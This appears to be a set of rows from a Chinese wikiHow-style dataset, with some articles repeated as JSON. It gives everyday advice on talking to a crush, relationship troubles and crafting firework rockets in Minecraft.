\"如果他在跟你聊天时无法看你的脸，可能意味着他在欺骗你。\\n\", \"跟那些发现自己男友背叛自己的朋友聊聊，看他们有什么建议。\\n\", \"你可以从男友是否有时间跟你一起，明显发现他是否在欺骗你。看起来他几乎总是做一些跟你无关的计划。\\n\", \"如果他总是在讲电话，或者你打给他的时候经常无法接通，这可能是他对你不忠的信号。\\n\", \"他不想让你知道他的联系人，不想让你看他的电子邮件或手机。\\n\", \"不管你做什么都无法影响他的行为。有时候，你什么都做不了，只能离开。永远不要忘记这个选择，否则你的生活无法前进。\\n\", \"如果你的男朋友在长时间的离开之后，总是晚几个小时才回家，这可能是他有外遇的信号。\\n\"], \"注意事项\": [\"在你决定偷窥你男友的东西之前，仔细想清楚。这对你们之间的信任有很大伤害，如果你们的关系都到了那个程度，或许是时候放弃了。\\n\"]}]}}",
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} | wikihow |
14,663 | 如何在Minecraft里制作烟花火箭 | 1. 制作烟花之星
1-1. 取一份火药和一种颜料。
你可以按照下面讨论的方法随意添加其他物品。
1-2. 用这些物品来制作烟花之星。
这是制作烟花火箭的必须部分。
1-3. 试着制作各种不同的烟花火箭。
你可以通过使用不同的工艺原料来改变烟花爆炸时的样子。有些可以通过混合原料来制造不同的效果，但是影响形状的原料是不可以混合的。
任何颜料都可以用来制作不同的颜色。
添加一个头让你的烟花看上去像个爬行动物。
添加羽毛给烟花带来传统的爆炸。
添加一个火荷多带来一个爆炸。
添加金块让烟花爆炸的像星星一样。
添加萤火石让你的烟花火光四耀。
2. 制作烟花火箭
2-1. 取至少一份火药、一张纸和你的烟花之星。
2-2. 把各物品制作在一起。
你只需一张纸、一份火药和一个烟花之星来制作火箭。但是，多添加些火药可以使火箭飞的更高。
2-3. 使用你的火箭！可以考虑给你的朋友们，或者庆祝的时候，比如完成一座大厦时，来一场烟花秀。
小提示
如果你在制作一个烟花之星时使用了两个烟花之星，在使用火箭的时候两个都可以看到！
你可以用铁砧给烟花命名。
不用烟花之星也能做火箭。但是只能看到火箭升空的轨迹，看不到绚烂的爆炸。
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14,664 | 如何与爱慕对象交谈 | 1. 向爱慕对象介绍自己
1-1. 把你的名字告诉对方，让他们知道你是谁。
如果你在学校、工作单位或其他地方遇到爱慕对象，可以先和对方打个招呼，介绍自己。这样一来，你以后找他们交谈和互动时，就不再是陌生人了。
不要试图扮酷或者和爱慕对象保持距离。对方可能会觉得你很奇怪或者你不喜欢他们，并因此而不想和你交谈。
自我介绍要简短，你可以这样说：“嗨，我叫古力，初次见面，请多关照。”
1-2. 和爱慕对象闲聊，适应这种感觉。
刚开始聊天时，用闲聊来打开话题是不错的选择，它还能让你和爱慕对象习惯于和彼此聊天，为以后的再次交谈创造机会。每次和爱慕对象打招呼时，尽量和他们闲聊一会儿，让他们开口说话。
试着聊聊天气。聊天气似乎有些无聊，但是这种话题得到爱慕对象回应的可能性很大。
1-3. 每次看到爱慕对象时都打个招呼，让他们记住你。
如果你想和爱慕对象交谈，最好让他们记住你，并且每次见到你时都很高兴。每次碰到他们时，露出灿烂的笑容，打个招呼。
如果你每天早上都会在学校或工作单位见到爱慕对象，可以说：“早上好，张丽！”
每次向对方打招呼的时候，都要注意察言观色。比如，如果外面狂风暴雨，爱慕对象一脸不快的进入室内，这时不要过于兴奋。试着不着痕迹地说些关心对方的话，比如“嗨，天气糟透了。你还好吗？”
1-4. 在社交媒体上把爱慕对象加为好友，以便你能和他们在上面聊天。
做过自我介绍，让爱慕对象认识你并且和你有过交流后，你可以在社交媒体上把他们加为好友。你可以浏览他们发布的内容，看看你们是否有共同的朋友或兴趣爱好，这些都是你能够和爱慕对象谈论的话题。
如果对方不认识你，或者你可能吓到他们，毁掉你和对方聊天的机会，就不要加好友。
2. 面对面的聊天
2-1. 每次和爱慕对象交谈时，都要保持冷静、态度积极。
你希望爱慕对象乐意和你交谈。如果你态度积极，见到他们时从不惊慌紧张，那么他们会更愿意和你交流。
和爱慕对象交谈前，深呼吸，让自己放松一点。
如果你今天诸事不顺，或者在和爱慕对象交谈时，正因为某件事情而感到沮丧，尽量实话实说，不要把负面情绪传递给对方。比如，你可以这样说：“嗨，张丽，不好意思，我情绪不高，有个朋友情况不太好，我为他感到担心。”
2-2. 与爱慕对象交谈时，看着对方的眼睛。
如果爱慕对象觉得你对他们说的话很感兴趣，会更愿意和你交谈。聊天时看着对方的眼睛，这样对方就知道你在全神贯注地认真倾听。
不要在远处盯着对方的眼睛看，这会让人感觉怪异。
尽量不要直愣愣地盯着对方。
2-3. 问问爱慕对象他们今天过得怎么样，让对话进行下去。
如果爱慕对象愿意和你交谈，你可以问问他们过得怎么样，今天顺不顺利，这可以让他们谈论自己的情况。这意味着你可以了解更多他们的信息，如果爱慕对象认为你值得信任，他们会经常和你聊天。
当爱慕对象和你说话时，每次都要注意倾听。
比如，当你们说着说着没有话题了，出现尴尬的沉默时，试着问一些能够让他们开口谈论的问题，比如“你今天过得怎么样？有什么不同寻常的事情发生吗？”
2-4. 与爱慕对象谈论你们之间的共同点。
随着了解的不断加深，你会发现自己和爱慕对象之间有共同的兴趣爱好，这是你可以利用的聊天话题。你还可以谈论你们共同的学习或工作内容，或者用你们都认识的人作为聊天的开场话题。
比如你和爱慕对象都喜欢黑豹乐队，你可以聊聊自己最喜欢的歌曲，或者你曾经去过的黑豹乐队演唱会。
2-5. 在适当的时候，称赞爱慕对象。
如果你在和爱慕对象交谈时毫不拘束、充满自信，那么偶尔称赞对方会让他们更喜欢你。不要一直夸个不停，等时机合适时再说一句好听而又真诚的恭维话。
比如你发现爱慕对象剪了一个新发型，可以这样说：“嗨，我喜欢你的新发型！”
不要露骨或不恰当地评论对方的身体，否则他们以后可能不想和你说话。
你不必每次和对方聊天时都称赞对方。如果爱慕对象觉得你不够真诚，那么你的话会变得毫无意义。
2-6. 和爱慕对象调调情，看对方会不会做出回应。
和爱慕对象建立友好的关系后，你可以试着调调情。如果对方很高兴或者对你做出回应，这说明他们可能喜欢你。这种情况下，他们可能希望一直和你聊下去。
试着说一句较为暧昧的恭维话，但不要过于刻意。比如你可以这样说：“你穿那套衣服非常可爱。”
调情时不要做得太过火，否则爱慕对象可能不再理你。
如果爱慕对象没有反应，或者似乎不喜欢你的调情行为，就暂时放弃。你以后可以再次尝试，但是不要让自己失去机会。
2-7. 向爱慕对象寻求帮助，借机找他们说话。
如果你和爱慕对象一起工作或上学，你可以在你们需要完成的工作或课题上向对方寻求帮助。如果对方愿意帮忙，这就给了你和他们互动的机会，你可以多找他们聊天。
如果你没有爱慕对象能够帮忙的课题或工作，可以就某件事情向他们征求意见或建议，这样你就可以和他们说上话。比如你可以这样说：“嗨，我不知道应该为父母的周年纪念买什么礼物，你有什么建议吗？”
向爱慕对象寻求帮助，可以让他们知道你重视他们的想法和意见。
3. 给爱慕对象发信息
3-1. 不经意地索要爱慕对象的电话号码。
做过自我介绍并且和爱慕对象有过交谈后，你可以索要他们的电话号码，但是不要过于郑重其事。要的时候，不要让人觉得你很尴尬或者别有企图，这样你才有机会和他们发信息。
试着索要对方的电话号码，这样当你需要了解一些事情的时候，可以联系他们。比如你可以这样问：“嗨，如果我想联系你的话，应该拨什么号码呢？”
不要在初次见面时就问对方的电话号码，这样有些奇怪，他们会被吓到，不愿意把号码告诉你。
3-2. 给爱慕对象发一条介绍信息，让他们把你的电话存起来。
等他们知道你的电话后，你可以发条信息问好。信息里面要包括你的姓名和一条非常简短的信息，这样他们就能把你的号码存到手机里，为以后短信聊天创造便利。
发一条友好的信息，比如“嗨，我是李杰。你的号码我已经存好了！谢谢。”
你在信息里面可以放一个笑脸或者友好的表情，让他们知道你心情不错。
3-3. 给爱慕对象发搞笑段子，逗对方开心。
把爱慕对象逗笑，是让他们和你交谈的好方法。想一个你知道对方会喜欢的的段子或笑话发过去，展开对话或让当前的对话进行下去。
给对方发一些正中他们笑点的内容，让他们知道你关注了他们的兴趣。比如，给他们发一条关于猫的搞笑段子。
3-4. 创建一个群组，把爱慕对象和你们共同的朋友拉进来。
创建一个包含爱慕对象和一些朋友、同学或同事的群组，这样你可以在群里和对方聊天，不用找任何借口，也不用承受压力。你可以发笑话、搞笑段子，或者利用群聊来发起群成员的聚会和活动。
创建群组的理由要真实可信，这样才不会让人觉得奇怪。比如爱慕对象是你的同班同学，你可以在创建群组后先发一条这样的信息：“嗨，大家好，我是金莎，有人做了史老师的作业吗？我被难住了lol。”
如果你只在群聊里和爱慕对象聊天，对方可能会觉得你只想做朋友，但这是你展示自己风趣或友善的好机会。如果你想更直接地和对方聊天或者发些更暧昧的内容，就直接给他们发信息。
3-5. 把爱慕对象约到一个你们可以交谈的休闲场所。
利用短信比较随意的特点，问问爱慕对象是否愿意出来见面。在不经意间发出邀请，不要有任何压力，这样气氛就不会尴尬，对方也不会觉得你在死缠烂打。
比如，给爱慕对象发送一条这样的信息：“那里新开了一家拉面馆，你去吃过没有？我现在很想吃面，要一起去试试吗？”
如果爱慕对象否决或拒绝了你的邀约，不要难过。心平气和地回复对方，比如“没事！那就下次吧。”
4. 利用社交媒体来交流
4-1. 为爱慕对象在社交媒体上发布的内容点赞，让他们看到你。
你可以为爱慕对象发布的照片和文字点赞，这是一种随意而又低调的互动方式，可以让他们知道你在关注他们。但是不要做得太过火，不要一次性给很多条内容点赞，否则对方会觉得你很奇怪，或者把你当成跟踪狂。
比如，不要给对方加你好友之前发布的文字或照片点赞，否则他们会知道你搜索了他们以前发布的内容，可能会因此而不想理你。
不要给爱慕对象在他人帖子下的回复点赞，否则他们可能会认为你过于痴迷。
4-2. 评论他们在社交媒体上发布的内容。
和爱慕对象聊过几次后，你可以评论他们在社交媒体上发布的内容。写的评论一定要轻松友好，这样他们才不会反感，愿意回复或评论你发布的内容。
评论不要写得太长，最好简短动听。
不要攻击评论对方帖子的其他人。你可能不清楚他们之间关系，所以妄加评论不太合适。
尽量不要发表暧昧或过分的赞美，否则会让对方觉得毛骨悚然，非常怪异。
4-3. 在一个搞笑或有趣的帖子里@爱慕对象，让他们可以发表评论。
如果你想找爱慕对象闲聊，而不显得太过热情，那么社交媒体是非常合适的平台。发布或发现你觉得对方会喜欢的内容时，@对方。他们会发表评论，你可以让对话进行下去。
如果爱慕对象喜欢动物，而你看到一条关于萌宠的帖子，比如毛茸茸的小猫或卖萌的小动物，你可以@对方，让他们浏览并回复。
你应该@对方的内容是你确定他们会喜欢的，而不是过于暧昧或感伤的，否则对方会被吓跑。
用微信、微博和QQ等社交媒体平台@对方。
4-4. 直接给爱慕对象发信息，和他们聊天。
微博、微信和QQ等众多社交媒体平台都有直接发送信息的功能。给爱慕对象发信息，和他们聊天，但是不要做得太过火，否则他们会屏蔽你，让你以后再也无法发送任何内容。
如果你们刚刚认识，不要挑逗对方，否则他们可能会被吓跑，从此以后再也不理你。
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与爱慕对象交谈时，看着对方的眼睛。\\n如果爱慕对象觉得你对他们说的话很感兴趣，会更愿意和你交谈。聊天时看着对方的眼睛，这样对方就知道你在全神贯注地认真倾听。\\n不要在远处盯着对方的眼睛看，这会让人感觉怪异。\\n尽量不要直愣愣地盯着对方。\\n2-3. 问问爱慕对象他们今天过得怎么样，让对话进行下去。\\n如果爱慕对象愿意和你交谈，你可以问问他们过得怎么样，今天顺不顺利，这可以让他们谈论自己的情况。这意味着你可以了解更多他们的信息，如果爱慕对象认为你值得信任，他们会经常和你聊天。\\n当爱慕对象和你说话时，每次都要注意倾听。\\n比如，当你们说着说着没有话题了，出现尴尬的沉默时，试着问一些能够让他们开口谈论的问题，比如“你今天过得怎么样？有什么不同寻常的事情发生吗？”\\n2-4. 与爱慕对象谈论你们之间的共同点。\\n随着了解的不断加深，你会发现自己和爱慕对象之间有共同的兴趣爱好，这是你可以利用的聊天话题。你还可以谈论你们共同的学习或工作内容，或者用你们都认识的人作为聊天的开场话题。\\n比如你和爱慕对象都喜欢黑豹乐队，你可以聊聊自己最喜欢的歌曲，或者你曾经去过的黑豹乐队演唱会。\\n2-5. 在适当的时候，称赞爱慕对象。\\n如果你在和爱慕对象交谈时毫不拘束、充满自信，那么偶尔称赞对方会让他们更喜欢你。不要一直夸个不停，等时机合适时再说一句好听而又真诚的恭维话。\\n比如你发现爱慕对象剪了一个新发型，可以这样说：“嗨，我喜欢你的新发型！”\\n不要露骨或不恰当地评论对方的身体，否则他们以后可能不想和你说话。\\n你不必每次和对方聊天时都称赞对方。如果爱慕对象觉得你不够真诚，那么你的话会变得毫无意义。\\n2-6. 和爱慕对象调调情，看对方会不会做出回应。\\n和爱慕对象建立友好的关系后，你可以试着调调情。如果对方很高兴或者对你做出回应，这说明他们可能喜欢你。这种情况下，他们可能希望一直和你聊下去。\\n试着说一句较为暧昧的恭维话，但不要过于刻意。比如你可以这样说：“你穿那套衣服非常可爱。”\\n调情时不要做得太过火，否则爱慕对象可能不再理你。\\n如果爱慕对象没有反应，或者似乎不喜欢你的调情行为，就暂时放弃。你以后可以再次尝试，但是不要让自己失去机会。\\n2-7. 向爱慕对象寻求帮助，借机找他们说话。\\n如果你和爱慕对象一起工作或上学，你可以在你们需要完成的工作或课题上向对方寻求帮助。如果对方愿意帮忙，这就给了你和他们互动的机会，你可以多找他们聊天。\\n如果你没有爱慕对象能够帮忙的课题或工作，可以就某件事情向他们征求意见或建议，这样你就可以和他们说上话。比如你可以这样说：“嗨，我不知道应该为父母的周年纪念买什么礼物，你有什么建议吗？”\\n向爱慕对象寻求帮助，可以让他们知道你重视他们的想法和意见。\\n3. 给爱慕对象发信息\\n3-1. 不经意地索要爱慕对象的电话号码。\\n做过自我介绍并且和爱慕对象有过交谈后，你可以索要他们的电话号码，但是不要过于郑重其事。要的时候，不要让人觉得你很尴尬或者别有企图，这样你才有机会和他们发信息。\\n试着索要对方的电话号码，这样当你需要了解一些事情的时候，可以联系他们。比如你可以这样问：“嗨，如果我想联系你的话，应该拨什么号码呢？”\\n不要在初次见面时就问对方的电话号码，这样有些奇怪，他们会被吓到，不愿意把号码告诉你。\\n3-2. 给爱慕对象发一条介绍信息，让他们把你的电话存起来。\\n等他们知道你的电话后，你可以发条信息问好。信息里面要包括你的姓名和一条非常简短的信息，这样他们就能把你的号码存到手机里，为以后短信聊天创造便利。\\n发一条友好的信息，比如“嗨，我是李杰。你的号码我已经存好了！谢谢。”\\n你在信息里面可以放一个笑脸或者友好的表情，让他们知道你心情不错。\\n3-3. 给爱慕对象发搞笑段子，逗对方开心。\\n把爱慕对象逗笑，是让他们和你交谈的好方法。想一个你知道对方会喜欢的的段子或笑话发过去，展开对话或让当前的对话进行下去。\\n给对方发一些正中他们笑点的内容，让他们知道你关注了他们的兴趣。比如，给他们发一条关于猫的搞笑段子。\\n3-4. 创建一个群组，把爱慕对象和你们共同的朋友拉进来。\\n创建一个包含爱慕对象和一些朋友、同学或同事的群组，这样你可以在群里和对方聊天，不用找任何借口，也不用承受压力。你可以发笑话、搞笑段子，或者利用群聊来发起群成员的聚会和活动。\\n创建群组的理由要真实可信，这样才不会让人觉得奇怪。比如爱慕对象是你的同班同学，你可以在创建群组后先发一条这样的信息：“嗨，大家好，我是金莎，有人做了史老师的作业吗？我被难住了lol。”\\n如果你只在群聊里和爱慕对象聊天，对方可能会觉得你只想做朋友，但这是你展示自己风趣或友善的好机会。如果你想更直接地和对方聊天或者发些更暧昧的内容，就直接给他们发信息。\\n3-5. 把爱慕对象约到一个你们可以交谈的休闲场所。\\n利用短信比较随意的特点，问问爱慕对象是否愿意出来见面。在不经意间发出邀请，不要有任何压力，这样气氛就不会尴尬，对方也不会觉得你在死缠烂打。\\n比如，给爱慕对象发送一条这样的信息：“那里新开了一家拉面馆，你去吃过没有？我现在很想吃面，要一起去试试吗？”\\n如果爱慕对象否决或拒绝了你的邀约，不要难过。心平气和地回复对方，比如“没事！那就下次吧。”\\n4. 利用社交媒体来交流\\n4-1. 为爱慕对象在社交媒体上发布的内容点赞，让他们看到你。\\n你可以为爱慕对象发布的照片和文字点赞，这是一种随意而又低调的互动方式，可以让他们知道你在关注他们。但是不要做得太过火，不要一次性给很多条内容点赞，否则对方会觉得你很奇怪，或者把你当成跟踪狂。\\n比如，不要给对方加你好友之前发布的文字或照片点赞，否则他们会知道你搜索了他们以前发布的内容，可能会因此而不想理你。\\n不要给爱慕对象在他人帖子下的回复点赞，否则他们可能会认为你过于痴迷。\\n4-2. 评论他们在社交媒体上发布的内容。\\n和爱慕对象聊过几次后，你可以评论他们在社交媒体上发布的内容。写的评论一定要轻松友好，这样他们才不会反感，愿意回复或评论你发布的内容。\\n评论不要写得太长，最好简短动听。\\n不要攻击评论对方帖子的其他人。你可能不清楚他们之间关系，所以妄加评论不太合适。\\n尽量不要发表暧昧或过分的赞美，否则会让对方觉得毛骨悚然，非常怪异。\\n4-3. 在一个搞笑或有趣的帖子里@爱慕对象，让他们可以发表评论。\\n如果你想找爱慕对象闲聊，而不显得太过热情，那么社交媒体是非常合适的平台。发布或发现你觉得对方会喜欢的内容时，@对方。他们会发表评论，你可以让对话进行下去。\\n如果爱慕对象喜欢动物，而你看到一条关于萌宠的帖子，比如毛茸茸的小猫或卖萌的小动物，你可以@对方，让他们浏览并回复。\\n你应该@对方的内容是你确定他们会喜欢的，而不是过于暧昧或感伤的，否则对方会被吓跑。\\n用微信、微博和QQ等社交媒体平台@对方。\\n4-4. 直接给爱慕对象发信息，和他们聊天。\\n微博、微信和QQ等众多社交媒体平台都有直接发送信息的功能。给爱慕对象发信息，和他们聊天，但是不要做得太过火，否则他们会屏蔽你，让你以后再也无法发送任何内容。\\n如果你们刚刚认识，不要挑逗对方，否则他们可能会被吓跑，从此以后再也不理你。\\n\", \"简要回答\": \"和爱慕对象交谈，会让人既紧张又兴奋。在对方身边时，你可能不知道应该说些什么，觉得手足无措。但是不要害怕！你很容易就能适应这种情况。先做自我介绍，让对方知道你是谁，创造进一步交谈的机会。保持冷静和自信，寻找聊天话题，让面对面的交谈能够进行下去。委婉地向对方索要电话号码，以避免尴尬，同时让你可以通过文本信息，发起有趣的对话。你还可以使用社交媒体，与自己喜欢的人进行交流，加深你对他们的了解。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"向爱慕对象介绍自己\", \"步骤\": [{\"编号\": 1, \"标题\": \"把你的名字告诉对方，让他们知道你是谁。\", \"描述\": \"如果你在学校、工作单位或其他地方遇到爱慕对象，可以先和对方打个招呼，介绍自己。这样一来，你以后找他们交谈和互动时，就不再是陌生人了。\\n不要试图扮酷或者和爱慕对象保持距离。对方可能会觉得你很奇怪或者你不喜欢他们，并因此而不想和你交谈。\\n自我介绍要简短，你可以这样说：“嗨，我叫古力，初次见面，请多关照。”\"}, {\"编号\": 2, \"标题\": \"和爱慕对象闲聊，适应这种感觉。\", \"描述\": \"刚开始聊天时，用闲聊来打开话题是不错的选择，它还能让你和爱慕对象习惯于和彼此聊天，为以后的再次交谈创造机会。每次和爱慕对象打招呼时，尽量和他们闲聊一会儿，让他们开口说话。\\n试着聊聊天气。聊天气似乎有些无聊，但是这种话题得到爱慕对象回应的可能性很大。\"}, {\"编号\": 3, \"标题\": \"每次看到爱慕对象时都打个招呼，让他们记住你。\", \"描述\": \"如果你想和爱慕对象交谈，最好让他们记住你，并且每次见到你时都很高兴。每次碰到他们时，露出灿烂的笑容，打个招呼。\\n如果你每天早上都会在学校或工作单位见到爱慕对象，可以说：“早上好，张丽！”\\n每次向对方打招呼的时候，都要注意察言观色。比如，如果外面狂风暴雨，爱慕对象一脸不快的进入室内，这时不要过于兴奋。试着不着痕迹地说些关心对方的话，比如“嗨，天气糟透了。你还好吗？”\"}, {\"编号\": 4, \"标题\": \"在社交媒体上把爱慕对象加为好友，以便你能和他们在上面聊天。\", \"描述\": \"做过自我介绍，让爱慕对象认识你并且和你有过交流后，你可以在社交媒体上把他们加为好友。你可以浏览他们发布的内容，看看你们是否有共同的朋友或兴趣爱好，这些都是你能够和爱慕对象谈论的话题。\\n如果对方不认识你，或者你可能吓到他们，毁掉你和对方聊天的机会，就不要加好友。\"}]}, {\"编号\": 2, \"标题\": \"面对面的聊天\", \"步骤\": [{\"编号\": 1, \"标题\": \"每次和爱慕对象交谈时，都要保持冷静、态度积极。\", \"描述\": \"你希望爱慕对象乐意和你交谈。如果你态度积极，见到他们时从不惊慌紧张，那么他们会更愿意和你交流。\\n和爱慕对象交谈前，深呼吸，让自己放松一点。\\n如果你今天诸事不顺，或者在和爱慕对象交谈时，正因为某件事情而感到沮丧，尽量实话实说，不要把负面情绪传递给对方。比如，你可以这样说：“嗨，张丽，不好意思，我情绪不高，有个朋友情况不太好，我为他感到担心。”\"}, {\"编号\": 2, \"标题\": \"与爱慕对象交谈时，看着对方的眼睛。\", \"描述\": \"如果爱慕对象觉得你对他们说的话很感兴趣，会更愿意和你交谈。聊天时看着对方的眼睛，这样对方就知道你在全神贯注地认真倾听。\\n不要在远处盯着对方的眼睛看，这会让人感觉怪异。\\n尽量不要直愣愣地盯着对方。\"}, {\"编号\": 3, \"标题\": \"问问爱慕对象他们今天过得怎么样，让对话进行下去。\", \"描述\": \"如果爱慕对象愿意和你交谈，你可以问问他们过得怎么样，今天顺不顺利，这可以让他们谈论自己的情况。这意味着你可以了解更多他们的信息，如果爱慕对象认为你值得信任，他们会经常和你聊天。\\n当爱慕对象和你说话时，每次都要注意倾听。\\n比如，当你们说着说着没有话题了，出现尴尬的沉默时，试着问一些能够让他们开口谈论的问题，比如“你今天过得怎么样？有什么不同寻常的事情发生吗？”\"}, {\"编号\": 4, \"标题\": \"与爱慕对象谈论你们之间的共同点。\", \"描述\": \"随着了解的不断加深，你会发现自己和爱慕对象之间有共同的兴趣爱好，这是你可以利用的聊天话题。你还可以谈论你们共同的学习或工作内容，或者用你们都认识的人作为聊天的开场话题。\\n比如你和爱慕对象都喜欢黑豹乐队，你可以聊聊自己最喜欢的歌曲，或者你曾经去过的黑豹乐队演唱会。\"}, {\"编号\": 5, \"标题\": \"在适当的时候，称赞爱慕对象。\", \"描述\": \"如果你在和爱慕对象交谈时毫不拘束、充满自信，那么偶尔称赞对方会让他们更喜欢你。不要一直夸个不停，等时机合适时再说一句好听而又真诚的恭维话。\\n比如你发现爱慕对象剪了一个新发型，可以这样说：“嗨，我喜欢你的新发型！”\\n不要露骨或不恰当地评论对方的身体，否则他们以后可能不想和你说话。\\n你不必每次和对方聊天时都称赞对方。如果爱慕对象觉得你不够真诚，那么你的话会变得毫无意义。\"}, {\"编号\": 6, \"标题\": \"和爱慕对象调调情，看对方会不会做出回应。\", \"描述\": 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14,665 | 如何让你的男朋友停止忽视你 | 1. 快速窍门
1-1. 给他一点喘息的机会。
可能你现在经常给他发短信，或者在过去的三个小时里你每个小时给他打三次电话。要理解男生和女生是不同的，男生通常想要更多的空间。
不要一整天不停给他发信息或者打电话。要试着矜持一点。如果他一整天都没有联系你，和他谈谈他对于你们的关系究竟有什么期待。如果你期待着他根本不会给你的东西，你可能需要另外找一个男朋友了。
不要因为毫无意义的事情给他发短信或者打电话。不要仅仅因为谁谁谁分手了（而且你男朋友还不认识），就给你的男朋友打电话。你可能觉得这很重要，但是你的男朋友却不这么认为。
1-2. 尝试着在“他”的水平上和他交谈。
男生和女生是不一样的。你的男朋友可能会忽略你可能有一千种理由，但是追根究底，原因可能仅仅是因为他觉得你所说的事情一点也不重要。学会在“他”的水平上和他交谈，他肯定会马上感兴趣的。
和他谈论一些他所热衷的事物。可能是体育运动，可能是田径，也可能是化学。说真的，可能是任何东西。和他谈论他喜欢做的事情，为他热衷的事物感到兴奋。每个男生都有自己的热衷，你需要发现它。
问他一些关于他喜欢的事情的问题。问他为什么会喜欢他喜欢的事情。让他解释他最大的爱好，当初他是如何对这件事感兴趣的。如果你真的是对他感兴趣的事情感到兴奋，他是不会忽视你的。
当他做一件事正顺的时候不要打扰他。如果他正因为某件事兴奋的时候，让他一直讲话。当他到达巅峰的时候不要打断他。
1-3. 学会要求尊重。
如果他觉得可以通过忽视你而逃离某些情况，并且你容许他这样做，那么他就会这样做。如果你要求他尊重你，告诉他哪些是你可以容忍的哪些不是，他就不会有其他的选择了。
告诉他你是怎么想的。告诉他你需要更好的沟通和交流，并且你也想要更好地交流。如果沟通没有改善就告诉他，你可能会考虑终止沟通。
如果他爱你尊重你，他会立即改变。如果他不爱你并且不尊重你，为什么你还要和他在一起呢？
1-4. 要坦率。
如果他因为某些原因不理你了，就问他。你是不是让他心烦了？你是不是偶然间说了不该说的话？如果他因为某个特殊的原因而表现异常，你会想要知道为什么，这样的话你就不会再冒险这样说或者这样做了。
如果他告诉你他只是需要更多的空间，想清楚你是否可以容忍这样。如果是那种想要和男朋友一直在一起的人，并且这种空间对你来说是很难接受的，事情就难办了。
2. 转变你们的关系
2-1. 给他一些冷落。
和你的朋友包括男性朋友一起出去玩一玩。让他知道你也是有自己的生活的，并且让他知道你让他成为你生活的一部分是他的幸运。
大多数的男生都会立即跑回来并且停止忽视你，特别是你正在和其他男生在外面玩。他们会变得有领地意识的。这就是男生。
如果他没有回头而是继续忽视你，问一下自己是不是还想继续保持这段感情。从其他人那里获得的100%的成就可能比从他那里获得的50%的成就要好点。
2-2. 不要让这件事影响到你的情绪。
感到悲伤和变得情绪化的只会降低你的吸引力，并且可能正中一些大男子主义男生的下怀。开心点，多多微笑。你的生活不会为他忽视你这件事牵绊住。你越开心，他越想为你提供幸福。
2-3. 努力争取出去约会。
告诉他你想约会，希望他可以理解你想要他立即实行的暗示。如果他没有理解你的暗示，那么你可能需要自己指出来。如果约会很开心，这也只是你付出的一点小代价。
记得做一些他喜欢的事情。购物可能是一有机会你就想一整天都要做的事情，但是对他来说可能就不是约会的好主意了。想一想你们是否可以去一个很赞的公园、看电影或者是听他喜欢的乐队的表演等等。
穿衣有品位，面带微笑，把头发梳成他喜欢的样子。有的时候，男生需要的仅仅是一个提醒：他的女朋友是附近最漂亮的女生。这应该会激发他的活力和热情。
约会时试着把注意力放在美好的事物上。让他一直处于忙碌当中。问他问题。保持幽默、热情和乐观。给他一个使事情变得更好的机会，让他一直记得当初为什么他可以做你的男朋友。
如果约会不太顺利，告诉他你希望约会是一次可以好好交流的机会，你担心你没有像以往那样交流。如果他仍旧不在意，那他就不值得你的再次努力。
2-4. 如果你觉得他在欺骗你，立即结束你们的关系。
当然，有证据是有帮助的：你不会想要仅仅因为你的“感觉”而和他分手。但是如果觉得事情不对，和他谈谈找出究竟哪里出问题了。如果没有出问题的地方，这就是事情的真实情况，那么你可能会想要开始寻找新的男朋友，因为你们两个之间并不来电。
小提示
不要因为每一条你接到的短信或者电话而欣喜若狂，保持冷静。如果他给你打电话或者发信息，从容地回复。花费两倍于他回复你的时间回复他是很棒的主意。
如果男生用忽视当作一种表现自己的不开心的“惩罚”措施，当情况好转时告诉他你也不喜欢这种方式对待你。但是如果他继续这样做，你可能会考虑终止这段关系，因为他这样对待你对你的健康是没有好处的。
警告
不要让他击败你。男生希望女生一直围着他们转。如果情况不好，他忽视你，你不开心或者不幸福，就终止你们的关系。找一个懂得尊重你的人相处你会感觉好很多。
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"回答明细": "{\"回答\": \"1. 快速窍门\\n1-1. 给他一点喘息的机会。\\n可能你现在经常给他发短信，或者在过去的三个小时里你每个小时给他打三次电话。要理解男生和女生是不同的，男生通常想要更多的空间。\\n不要一整天不停给他发信息或者打电话。要试着矜持一点。如果他一整天都没有联系你，和他谈谈他对于你们的关系究竟有什么期待。如果你期待着他根本不会给你的东西，你可能需要另外找一个男朋友了。\\n不要因为毫无意义的事情给他发短信或者打电话。不要仅仅因为谁谁谁分手了（而且你男朋友还不认识），就给你的男朋友打电话。你可能觉得这很重要，但是你的男朋友却不这么认为。\\n1-2. 尝试着在“他”的水平上和他交谈。\\n男生和女生是不一样的。你的男朋友可能会忽略你可能有一千种理由，但是追根究底，原因可能仅仅是因为他觉得你所说的事情一点也不重要。学会在“他”的水平上和他交谈，他肯定会马上感兴趣的。\\n和他谈论一些他所热衷的事物。可能是体育运动，可能是田径，也可能是化学。说真的，可能是任何东西。和他谈论他喜欢做的事情，为他热衷的事物感到兴奋。每个男生都有自己的热衷，你需要发现它。\\n问他一些关于他喜欢的事情的问题。问他为什么会喜欢他喜欢的事情。让他解释他最大的爱好，当初他是如何对这件事感兴趣的。如果你真的是对他感兴趣的事情感到兴奋，他是不会忽视你的。\\n当他做一件事正顺的时候不要打扰他。如果他正因为某件事兴奋的时候，让他一直讲话。当他到达巅峰的时候不要打断他。\\n1-3. 学会要求尊重。\\n如果他觉得可以通过忽视你而逃离某些情况，并且你容许他这样做，那么他就会这样做。如果你要求他尊重你，告诉他哪些是你可以容忍的哪些不是，他就不会有其他的选择了。\\n告诉他你是怎么想的。告诉他你需要更好的沟通和交流，并且你也想要更好地交流。如果沟通没有改善就告诉他，你可能会考虑终止沟通。\\n如果他爱你尊重你，他会立即改变。如果他不爱你并且不尊重你，为什么你还要和他在一起呢？\\n1-4. 要坦率。\\n如果他因为某些原因不理你了，就问他。你是不是让他心烦了？你是不是偶然间说了不该说的话？如果他因为某个特殊的原因而表现异常，你会想要知道为什么，这样的话你就不会再冒险这样说或者这样做了。\\n如果他告诉你他只是需要更多的空间，想清楚你是否可以容忍这样。如果是那种想要和男朋友一直在一起的人，并且这种空间对你来说是很难接受的，事情就难办了。\\n2. 转变你们的关系\\n2-1. 给他一些冷落。\\n和你的朋友包括男性朋友一起出去玩一玩。让他知道你也是有自己的生活的，并且让他知道你让他成为你生活的一部分是他的幸运。\\n大多数的男生都会立即跑回来并且停止忽视你，特别是你正在和其他男生在外面玩。他们会变得有领地意识的。这就是男生。\\n如果他没有回头而是继续忽视你，问一下自己是不是还想继续保持这段感情。从其他人那里获得的100%的成就可能比从他那里获得的50%的成就要好点。\\n2-2. 